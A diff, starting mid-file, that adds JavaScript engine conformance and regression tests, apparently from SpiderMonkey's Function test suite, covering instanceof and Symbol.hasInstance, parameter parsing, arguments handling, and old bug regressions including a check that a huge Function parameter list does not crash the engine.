+ function Test() {
+ this.x = 1;
+ }
+
+ Object.defineProperty(Test, Symbol.hasInstance,
+ {writable: true, value: () => false});
+
+ function x(t) {
+ return t instanceof Test;
+ }
+
+ function y() {
+ let t = new Test;
+ let b = true;
+ for (let i = 0; i < 10; i++) {
+ b = b && x(t);
+ }
+ return b;
+ }
+
+
+ function z() {
+ let f = 0;
+ let t = 0;
+ for (let i = 0; i < 100; i++)
+ assertEq(y(), false);
+ }
+
+ z();
+}
+
+// Ensure that the jitting does not clobber user defined @@hasInstance methods.
+{
+ function a() {
+ function b() {};
+ b.__proto__ = a.prototype;
+ return b;
+ };
+ let c = new a();
+
+ let t = 0;
+ let f = 0;
+ let e = 0;
+ for (let i = 0; i < 40000; i++) {
+ if (i == 20000)
+ Object.defineProperty(a.prototype, Symbol.hasInstance,
+ {writable: true, value: () => true});
+ if (i == 30000)
+ Object.setPrototypeOf(c, Function.prototype);
+
+ if (1 instanceof c) {
+ t++;
+ } else {
+ f++;
+ }
+ }
+
+ assertEq(t, 10000);
+ assertEq(f, 30000);
+}
+
+{
+ function a() {};
+ function b() {};
+ Object.defineProperty(a, Symbol.hasInstance, {writable: true, value: () => true});
+ assertEq(b instanceof a, true);
+ for (let _ of Array(10000))
+ assertEq(b instanceof a, true);
+}
+
+{
+ function a(){};
+ function b(){};
+ function c(){};
+ function d(){};
+ function e(){};
+ Object.defineProperty(a, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(b, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(c, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(d, Symbol.hasInstance, {value: () => true });
+ let funcs = [a, b, c, d];
+ for (let f of funcs)
+ assertEq(e instanceof f, true);
+
+ for (let _ of Array(10001)) {
+ for (let f of funcs)
+ assertEq(e instanceof f, true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/has-instance.js b/js/src/tests/non262/Function/has-instance.js
new file mode 100644
index 0000000000..f0c7bf28e1
--- /dev/null
+++ b/js/src/tests/non262/Function/has-instance.js
@@ -0,0 +1,101 @@
+// It is possible to override Function.prototype[@@hasInstance].
+let passed = false;
+let obj = { foo: true };
+let C = function(){};
+
+Object.defineProperty(C, Symbol.hasInstance, {
+ value: function(inst) { passed = inst.foo; return false; }
+});
+
+assertEq(obj instanceof C, false);
+assertEq(passed, true);
+
+{
+ let obj = {
+ [Symbol.hasInstance](v) { return true; },
+ };
+ let whatevs = {};
+ assertEq(whatevs instanceof obj, true);
+}
+
+{
+
+ function zzzz() {};
+ let xxxx = new zzzz();
+ assertEq(xxxx instanceof zzzz, true);
+ assertEq(zzzz[Symbol.hasInstance](xxxx), true);
+
+}
+
+// Non-callable objects should return false.
+const nonCallables = [
+ 1,
+ undefined,
+ null,
+ "nope",
+]
+
+for (let nonCallable of nonCallables) {
+ assertEq(nonCallable instanceof Function, false);
+ assertEq(nonCallable instanceof Object, false);
+}
+
+// Non-callables should throw when used on the right hand side
+// of `instanceof`.
+assertThrowsInstanceOf(() => {
+ function foo() {};
+ let obj = {};
+ foo instanceof obj;
+}, TypeError);
+
+// Non-callables do not throw for overridden methods
+let o = {[Symbol.hasInstance](v) { return true; }}
+assertEq(1 instanceof o, true);
+
+// Non-callables return false instead of an exception when
+// Function.prototype[Symbol.hasInstance] is called directly.
+for (let nonCallable of nonCallables) {
+ assertEq(Function.prototype[Symbol.hasInstance].call(nonCallable, Object), false);
+}
+
+// It should be possible to call the Symbol.hasInstance method directly.
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, () => 1), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, Object), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, null), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, Array), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Object, Array), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Array, Function), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(({}), Function), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(), false)
+assertEq(Function.prototype[Symbol.hasInstance].call(({})), false)
+
+// Ensure that bound functions are unwrapped properly
+let bindme = {x: function() {}};
+let instance = new bindme.x();
+let xOuter = bindme.x;
+let bound = xOuter.bind(bindme);
+let doubleBound = bound.bind(bindme);
+let tripleBound = bound.bind(doubleBound);
+assertEq(Function.prototype[Symbol.hasInstance].call(bound, instance), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(doubleBound, instance), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(tripleBound, instance), true);
+
+// Function.prototype[Symbol.hasInstance] is not configurable
+let desc = Object.getOwnPropertyDescriptor(Function.prototype, Symbol.hasInstance);
+assertEq(desc.configurable, false);
+
+// Attempting to use a non-callable @@hasInstance triggers a type error
+// Bug 1280892
+assertThrowsInstanceOf(() => {
+ var fun = function() {}
+ var p = new Proxy(fun, {
+ get(target, key) {
+ return /not-callable/;
+ }
+ });
+ fun instanceof p;
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/implicit-this-in-parameter-expression.js b/js/src/tests/non262/Function/implicit-this-in-parameter-expression.js
new file mode 100644
index 0000000000..c58c53e2af
--- /dev/null
+++ b/js/src/tests/non262/Function/implicit-this-in-parameter-expression.js
@@ -0,0 +1,18 @@
+
+function f(a = eval(`
+ function g() {
+ 'use strict';
+ return this;
+ }
+
+ with ({}) {
+ g() /* implicit return value */
+ }
+ `)) {
+ return a
+};
+
+assertEq(f(), undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/invalid-parameter-list.js b/js/src/tests/non262/Function/invalid-parameter-list.js
new file mode 100644
index 0000000000..8aae89ef15
--- /dev/null
+++ b/js/src/tests/non262/Function/invalid-parameter-list.js
@@ -0,0 +1,27 @@
+// This constructor behaves like `Function` without checking
+// if the parameter list end is at the expected position.
+// We use this to make sure that the tests we use are otherwise
+// syntactically correct.
+function DumpFunction(...args) {
+ let code = "function anonymous(";
+ code += args.slice(0, -1).join(", ");
+ code += ") {\n";
+ code += args[args.length -1];
+ code += "\n}";
+ eval(code);
+}
+
+const tests = [
+ ["/*", "*/) {"],
+ ["//", ") {"],
+ ["a = `", "` ) {"],
+ [") { var x = function (", "} "],
+ ["x = function (", "}) {"]
+];
+
+for (const test of tests) {
+ DumpFunction(...test);
+ assertThrowsInstanceOf(() => new Function(...test), SyntaxError);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/length-with-destructuring-and-parameter-expression.js b/js/src/tests/non262/Function/length-with-destructuring-and-parameter-expression.js
new file mode 100644
index 0000000000..a3f00ac1f2
--- /dev/null
+++ b/js/src/tests/non262/Function/length-with-destructuring-and-parameter-expression.js
@@ -0,0 +1,31 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+assertEq(function([a = 0]){}.length, 1);
+assertEq(function({p: a = 0}){}.length, 1);
+assertEq(function({a = 0}){}.length, 1);
+assertEq(function({[0]: a}){}.length, 1);
+
+assertEq(function([a = 0], [b = 0]){}.length, 2);
+assertEq(function({p: a = 0}, [b = 0]){}.length, 2);
+assertEq(function({a = 0}, [b = 0]){}.length, 2);
+assertEq(function({[0]: a}, [b = 0]){}.length, 2);
+
+assertEq(function(x, [a = 0]){}.length, 2);
+assertEq(function(x, {p: a = 0}){}.length, 2);
+assertEq(function(x, {a = 0}){}.length, 2);
+assertEq(function(x, {[0]: a}){}.length, 2);
+
+assertEq(function(x = 0, [a = 0]){}.length, 0);
+assertEq(function(x = 0, {p: a = 0}){}.length, 0);
+assertEq(function(x = 0, {a = 0}){}.length, 0);
+assertEq(function(x = 0, {[0]: a}){}.length, 0);
+
+assertEq(function([a = 0], ...r){}.length, 1);
+assertEq(function({p: a = 0}, ...r){}.length, 1);
+assertEq(function({a = 0}, ...r){}.length, 1);
+assertEq(function({[0]: a}, ...r){}.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/line-terminator-before-arrow.js b/js/src/tests/non262/Function/line-terminator-before-arrow.js
new file mode 100644
index 0000000000..52bdce7f3b
--- /dev/null
+++ b/js/src/tests/non262/Function/line-terminator-before-arrow.js
@@ -0,0 +1,9 @@
+assertThrowsInstanceOf(() => eval("() \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("a \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a) /*\n*/ => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b = 1) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, ...b) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b = 1, ...c) \n => {}"), SyntaxError);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Function/method-has-duplicated.js b/js/src/tests/non262/Function/method-has-duplicated.js
new file mode 100644
index 0000000000..dc0a9dfb42
--- /dev/null
+++ b/js/src/tests/non262/Function/method-has-duplicated.js
@@ -0,0 +1,19 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a) {
+}
+
+// SyntaxError should be thrown if method definition has duplicated name.
+assertThrowsInstanceOf(() => eval(`
+({
+ m1(a, a) {
+ }
+});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+({
+ m2(a, ...a) {
+ }
+});
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/parameter-redeclaration.js b/js/src/tests/non262/Function/parameter-redeclaration.js
new file mode 100644
index 0000000000..74e55e3aa9
--- /dev/null
+++ b/js/src/tests/non262/Function/parameter-redeclaration.js
@@ -0,0 +1,19 @@
+// 'var' is allowed to redeclare parameters.
+function f1(a = 0) {
+ var a;
+}
+
+// 'let' and 'const' at body-level are not allowed to redeclare parameters.
+assertThrowsInstanceOf(() => {
+ eval(`function f2(a = 0) {
+ let a;
+ }`);
+}, SyntaxError);
+assertThrowsInstanceOf(() => {
+ eval(`function f3(a = 0) {
+ const a;
+ }`);
+}, SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/redefine-arguments-length.js b/js/src/tests/non262/Function/redefine-arguments-length.js
new file mode 100644
index 0000000000..ad9ae742ff
--- /dev/null
+++ b/js/src/tests/non262/Function/redefine-arguments-length.js
@@ -0,0 +1,65 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'redefine-arguments-length.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 539766;
+var summary =
+ "Object.defineProperty sets arguments.length without setting the " +
+ "length-overridden bit";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test_JSOP_ARGCNT()
+{
+ var length = "length";
+ Object.defineProperty(arguments, length, { value: 17 });
+ assertEq(arguments.length, 17);
+ assertEq(arguments[length], 17);
+}
+test_JSOP_ARGCNT();
+
+function test_js_fun_apply()
+{
+ var length = "length";
+ Object.defineProperty(arguments, length, { value: 17 });
+
+ function fun()
+ {
+ assertEq(arguments.length, 17);
+ assertEq(arguments[length], 17);
+ assertEq(arguments[0], "foo");
+ for (var i = 1; i < 17; i++)
+ assertEq(arguments[i], undefined);
+ }
+ fun.apply(null, arguments);
+}
+test_js_fun_apply("foo");
+
+function test_array_toString_sub_1()
+{
+ Object.defineProperty(arguments, "length", { value: 1 });
+ arguments.join = [].join;
+ assertEq([].toString.call(arguments), "1");
+}
+test_array_toString_sub_1(1, 2);
+
+function test_array_toString_sub_2()
+{
+ Object.defineProperty(arguments, "length", { value: 1 });
+ assertEq([].toLocaleString.call(arguments), "1");
+}
+test_array_toString_sub_2(1, 2);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-123371.js b/js/src/tests/non262/Function/regress-123371.js
new file mode 100644
index 0000000000..58294c6a02
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-123371.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 123371;
+var summary = 'Do not crash when newline separates function name from arglist';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus
+('function call succeeded');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-131964.js b/js/src/tests/non262/Function/regress-131964.js
new file mode 100644
index 0000000000..d7451f040e
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-131964.js
@@ -0,0 +1,159 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 Mar 2002
+ * SUMMARY: Function declarations in global or function scope are {DontDelete}.
+ * Function declarations in eval scope are not {DontDelete}.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131964
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 131964;
+var summary = 'Functions defined in global or function scope are {DontDelete}';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+function f()
+{
+ return 'f lives!';
+}
+delete f;
+
+try
+{
+ actual = f();
+}
+catch(e)
+{
+ actual = 'f was deleted';
+}
+
+expect = 'f lives!';
+addThis();
+
+
+
+/*
+ * Try the same test in function scope -
+ */
+status = inSection(2);
+function g()
+{
+ function f()
+ {
+ return 'f lives!';
+ }
+ delete f;
+
+ try
+ {
+ actual = f();
+ }
+ catch(e)
+ {
+ actual = 'f was deleted';
+ }
+
+ expect = 'f lives!';
+ addThis();
+}
+g();
+
+
+
+/*
+ * Try the same test in eval scope - here we EXPECT the function to be deleted (?)
+ */
+status = inSection(3);
+var s = '';
+s += 'function h()';
+s += '{ ';
+s += ' return "h lives!";';
+s += '}';
+s += 'delete h;';
+
+s += 'try';
+s += '{';
+s += ' actual = h();';
+s += '}';
+s += 'catch(e)';
+s += '{';
+s += ' actual = "h was deleted";';
+s += '}';
+
+s += 'expect = "h was deleted";';
+s += 'addThis();';
+eval(s);
+
+
+/*
+ * Define the function in eval scope, but delete it in global scope -
+ */
+status = inSection(4);
+s = '';
+s += 'function k()';
+s += '{ ';
+s += ' return "k lives!";';
+s += '}';
+eval(s);
+
+delete k;
+
+try
+{
+ actual = k();
+}
+catch(e)
+{
+ actual = 'k was deleted';
+}
+
+expect = 'k was deleted';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function wasDeleted(functionName)
+{
+ return functionName + ' was deleted...';
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-137181.js b/js/src/tests/non262/Function/regress-137181.js
new file mode 100644
index 0000000000..6fddde2d1a
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-137181.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 Apr 2002
+ * SUMMARY: delete arguments[i] should break connection to local reference
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=137181
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 137181;
+var summary = 'delete arguments[i] should break connection to local reference';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+function f1(x)
+{
+ x = 1;
+ delete arguments[0];
+ return x;
+}
+actual = f1(0); // (bug: Rhino was returning |undefined|)
+expect = 1;
+addThis();
+
+
+status = inSection(2);
+function f2(x)
+{
+ x = 1;
+ delete arguments[0];
+ arguments[0] = -1;
+ return x;
+}
+actual = f2(0); // (bug: Rhino was returning -1)
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-178389.js b/js/src/tests/non262/Function/regress-178389.js
new file mode 100644
index 0000000000..e1735adf86
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-178389.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 178389;
+var summary = 'Function.prototype.toSource should not override Function.prototype.toString';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var g = function (){};
+}
+
+expect = f.toString();
+
+Function.prototype.toSource = function () { return ''; };
+
+actual = f.toString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-193555.js b/js/src/tests/non262/Function/regress-193555.js
new file mode 100644
index 0000000000..c9c45f3311
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-193555.js
@@ -0,0 +1,99 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 17 February 2003
+ * SUMMARY: Testing access to function name from inside function
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=193555
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 193555;
+var summary = 'Testing access to function name from inside function';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// test via function statement
+status = inSection(1);
+function f() {return f.toString();};
+actual = f();
+expect = f.toString();
+addThis();
+
+// test via function expression
+status = inSection(2);
+var x = function g() {return g.toString();};
+actual = x();
+expect = x.toString();
+addThis();
+
+// test via eval() outside function
+status = inSection(3);
+eval ('function a() {return a.toString();}');
+actual = a();
+expect = a.toString();
+addThis();
+
+status = inSection(4);
+eval ('var y = function b() {return b.toString();}');
+actual = y();
+expect = y.toString();
+addThis();
+
+// test via eval() inside function
+status = inSection(5);
+function c() {return eval('c').toString();};
+actual = c();
+expect = c.toString();
+addThis();
+
+status = inSection(6);
+var z = function d() {return eval('d').toString();};
+actual = z();
+expect = z.toString();
+addThis();
+
+// test via two evals!
+status = inSection(7);
+eval('var w = function e() {return eval("e").toString();}');
+actual = w();
+expect = w.toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-222029-001.js b/js/src/tests/non262/Function/regress-222029-001.js
new file mode 100644
index 0000000000..a58e60bc3d
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-222029-001.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Oct 2003
+ * SUMMARY: Make our f.caller property match IE's wrt f.apply and f.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=222029
+ *
+ * Below, when gg calls f via |f.call|, we have this call chain:
+ *
+ * calls calls
+ * gg() ---------> Function.prototype.call() ---------> f()
+ *
+ *
+ * The question this bug addresses is, "What should we say |f.caller| is?"
+ *
+ * Before this fix, SpiderMonkey said it was |Function.prototype.call|.
+ * After this fix, SpiderMonkey emulates IE and says |gg| instead.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 222029;
+var summary = "Make our f.caller property match IE's wrt f.apply and f.call";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ return f.caller.p ;
+}
+
+
+/*
+ * Call |f| directly
+ */
+function g()
+{
+ return f();
+}
+g.p = "hello";
+
+
+/*
+ * Call |f| via |f.call|
+ */
+function gg()
+{
+ return f.call(this);
+}
+gg.p = "hello";
+
+
+/*
+ * Call |f| via |f.apply|
+ */
+function ggg()
+{
+ return f.apply(this);
+}
+ggg.p = "hello";
+
+
+/*
+ * Shadow |p| on |Function.prototype.call|, |Function.prototype.apply|.
+ * In Sections 2 and 3 below, we no longer expect to recover this value -
+ */
+Function.prototype.call.p = "goodbye";
+Function.prototype.apply.p = "goodbye";
+
+
+
+status = inSection(1);
+actual = g();
+expect = "hello";
+addThis();
+
+status = inSection(2);
+actual = gg();
+expect = "hello";
+addThis();
+
+status = inSection(3);
+actual = ggg();
+expect = "hello";
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-222029-002.js b/js/src/tests/non262/Function/regress-222029-002.js
new file mode 100644
index 0000000000..96f68a2661
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-222029-002.js
@@ -0,0 +1,132 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Oct 2003
+ * SUMMARY: Make our f.caller property match IE's wrt f.apply and f.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=222029
+ *
+ * Below, when gg calls f via |f.call|, we have this call chain:
+ *
+ * calls calls
+ * gg() ---------> Function.prototype.call() ---------> f()
+ *
+ *
+ * The question this bug addresses is, "What should we say |f.caller| is?"
+ *
+ * Before this fix, SpiderMonkey said it was |Function.prototype.call|.
+ * After this fix, SpiderMonkey emulates IE and says |gg| instead.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 222029;
+var summary = "Make our f.caller property match IE's wrt f.apply and f.call";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * Try to confuse the engine by adding a |p| property to everything!
+ */
+var p = 'global';
+var o = {p:'object'};
+
+
+function f(obj)
+{
+ return f.caller.p ;
+}
+
+
+/*
+ * Call |f| directly
+ */
+function g(obj)
+{
+ var p = 'local';
+ return f(obj);
+}
+g.p = "hello";
+
+
+/*
+ * Call |f| via |f.call|
+ */
+function gg(obj)
+{
+ var p = 'local';
+ return f.call(obj, obj);
+}
+gg.p = "hello";
+
+
+/*
+ * Call |f| via |f.apply|
+ */
+function ggg(obj)
+{
+ var p = 'local';
+ return f.apply(obj, [obj]);
+}
+ggg.p = "hello";
+
+
+/*
+ * Shadow |p| on |Function.prototype.call|, |Function.prototype.apply|.
+ * In Sections 2 and 3 below, we no longer expect to recover this value -
+ */
+Function.prototype.call.p = "goodbye";
+Function.prototype.apply.p = "goodbye";
+
+
+
+status = inSection(1);
+actual = g(o);
+expect = "hello";
+addThis();
+
+status = inSection(2);
+actual = gg(o);
+expect = "hello";
+addThis();
+
+status = inSection(3);
+actual = ggg(o);
+expect = "hello";
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-292215.js b/js/src/tests/non262/Function/regress-292215.js
new file mode 100644
index 0000000000..c264b74178
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-292215.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 292215;
+var summary = 'Set arguments';
+var actual = '';
+var expect = '00012';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function zeroArguments () {
+ arguments[1] = '0';
+ actual += arguments[1];
+}
+
+function oneArgument (x) {
+ arguments[1] = '1';
+ actual += arguments[1];
+}
+
+function twoArguments (x,y) {
+ arguments[1] = '2';
+ actual += arguments[1];
+}
+
+zeroArguments();
+zeroArguments(1);
+zeroArguments('a', 'b');
+oneArgument();
+twoArguments();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-313570.js b/js/src/tests/non262/Function/regress-313570.js
new file mode 100644
index 0000000000..eb3039650b
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-313570.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313570;
+var summary = 'length of objects whose prototype chain includes a function';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function tmp() {}
+tmp.prototype = function(a, b, c) {};
+var obj = new tmp();
+
+// arity
+expect = 3;
+actual = obj.length;
+reportCompare(expect, actual, summary + ': arity');
+
+// immutable
+obj.length = 10;
+
+expect = 3;
+actual = obj.length;
+reportCompare(expect, actual, summary + ': immutable');
+
diff --git a/js/src/tests/non262/Function/regress-338001.js b/js/src/tests/non262/Function/regress-338001.js
new file mode 100644
index 0000000000..6afdc4f6fc
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-338001.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android) silentfail slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338001;
+var summary = 'integer overflow in jsfun.c:Function';
+var actual = 'No Crash';
+var expect = /No Crash|InternalError: allocation size overflow/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="f";
+
+try
+{
+ for (i=0; i<25; i++)
+ fe += fe;
+
+ var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ actual = ex + '';
+}
+
+print('Done: ' + actual);
+
+reportMatch(expect, actual, summary);
